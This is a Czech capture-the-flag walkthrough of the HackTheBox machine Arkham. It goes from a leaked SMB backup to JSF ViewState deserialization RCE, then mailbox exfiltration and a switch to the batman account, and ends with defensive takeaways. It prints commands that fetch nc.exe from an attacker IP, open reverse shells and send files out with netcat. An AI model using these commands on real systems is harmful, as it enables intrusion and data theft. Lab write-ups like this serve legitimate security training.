Arkham
Úvod a kontext
Arkham je ukázka řetězce, kde se webová chyba opírá o uniklou aplikační zálohu. Samotný Tomcat na :8080 ještě není celý příběh; rozhodující je až appserver.zip, z něj vytažený backup.img a secret org.apache.myfaces.SECRET, který dovolí zneužít JSF ViewState pro RCE.
Na user části je zajímavé, že po prvním shellu následuje ještě druhá, čistě provozní fáze: čtení pošty alfred@arkham.local.ost, dekódování přílohy a přepnutí do účtu batman. Článek tak dobře ukazuje rozdíl mezi aplikační zranitelností a reuse citlivých dat v systému.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
IP=10.10.10.130;ports=$(nmap -Pn -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -Pn -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
445/tcp open microsoft-ds?
8080/tcp open http Apache Tomcat 8.5.37
Kombinace SMB + Tomcat je hlavní směr útoku.
SMB share a získání aplikační zálohy
Přes anonymní/guest přístup na SMB share stáhnu archiv aplikace.
smbmap -H $IP -u username -p pass
BatShare READ ONLY
Users READ ONLY
appserver.zip
smbclient //10.10.10.130/BatShare
get appserver.zip
unzip appserver.zip
V datech je backup.img, který obsahuje zálohu konfigurace Tomcatu. Po extrakci najdu v web.xml.bak klíč org.apache.myfaces.SECRET.
RCE přes JSF ViewState
Aplikace na :8080 používá JSF ViewState (/userSubscribe.faces). Se znalostí myfaces secretu lze připravit vlastní payload a dosáhnout RCE.
wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
python rce.py "whoami"
python rce.py "curl http://10.10.14.21:8000/exe/nc.exe -o c:\programdata\nc.exe"
python rce.py "c:\programdata\nc.exe 10.10.14.21 4000 -e cmd.exe"
Po exploitu získám shell jako uživatel Alfred.
Analýza zjištění
Přílohy

Získání přístupu
Získání user flagu
User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.
more user.txt
__CENSORED__
Exfiltrace pošty a získání dalších údajů
V systému je záloha mailboxu alfred@arkham.local.ost, ze které lze získat další citlivé informace.
nc -lp 4001 > backup.zip
c:\programdata\nc.exe -w 3 10.10.14.21 4001 < C:\Users\Alfred\Downloads\backups\backup.zip
unzip backup.zip
readpst alfred@arkham.local.ost
V přílohách je base64 obrázek, po dekódování obsahuje další přihlašovací údaj.
base64 -d image.png.b64 > image.png
__CENSORED__
Eskalace na vyšší účet
S novými údaji vytvořím credential objekt a spustím příkaz lokálně pod účtem batman.
powershell
$cred = New-Object System.Management.Automation.PSCredential 'batman',(ConvertTo-SecureString '__CENSORED__' -AsPlainText -Force)
Invoke-Command -Computer localhost -Credential $cred -ScriptBlock {c:\programdata\nc.exe -e powershell 10.10.14.21 4001}
Po přepnutí účtu mám přístup ke sdílenému disku C$.
Eskalace oprávnění
Získání root flagu
Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.
net use z: \\arkham\c$
gc root.txt
__CENSORED__
Shrnutí klíčových poznatků
- Rozhodující nebyl samotný Tomcat, ale fakt, že SMB share vydal
appserver.zips konfigurací potřebnou pro zneužití JSF ViewState. - User část nezačala stabilním účtem, ale shellem uživatele
Alfred, ze kterého šlo vytěžit další tajemství z mailboxualfred@arkham.local.ost. - Poslední posun neotevřela nová CVE, ale přepnutí do účtu
batmana následný přístup naC$.
Co si odnést do praxe
- Aplikační zálohy a exporty typu
appserver.zipnesmějí ležet na share dostupném běžným nebo guest účtům. Jediný secret v konfiguraci často stačí k plnohodnotnému RCE. - Mailboxy, přílohy a lokální archivy je potřeba chránit stejně vážně jako hesla v plaintextu. V praxi často obsahují přesně ten kus informace, který propojí dva jinak oddělené účty.
- Oddělení rolí nedává smysl, pokud systém ukládá citlivé údaje tak, že z kompromitovaného účtu snadno vedou k dalšímu. Přesně to tady ukazuje přechod z
Alfrednabatman.